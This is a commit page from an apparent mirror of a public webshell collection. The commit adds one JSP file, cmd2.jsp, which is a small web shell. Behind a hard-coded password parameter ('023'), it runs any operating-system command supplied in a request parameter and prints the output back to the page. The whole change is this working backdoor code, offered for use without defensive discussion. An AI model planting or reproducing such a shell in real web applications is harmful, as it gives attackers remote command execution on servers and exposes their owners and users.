mirror of
https://github.com/tennc/webshell
synced 2025-02-16 17:58:23 +00:00
parent
5e4358b31b
commit
abaa8b5d13
1 changed files with 12 additions and 0 deletions
12
jsp/cat/cmd2.jsp
Normal file
12
jsp/cat/cmd2.jsp
Normal file
|
@ -0,0 +1,12 @@
|
||||||
|
<%
|
||||||
|
if("023".equals(request.getParameter("pwd"))){
|
||||||
|
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
|
||||||
|
int a = -1;
|
||||||
|
byte[] b = new byte[2048];
|
||||||
|
out.print("<pre>");
|
||||||
|
while((a=in.read(b))!=-1){
|
||||||
|
out.println(new String(b));
|
||||||
|
}
|
||||||
|
out.print("</pre>");
|
||||||
|
}
|
||||||
|
%>
|
Loading…
Add table
Reference in a new issue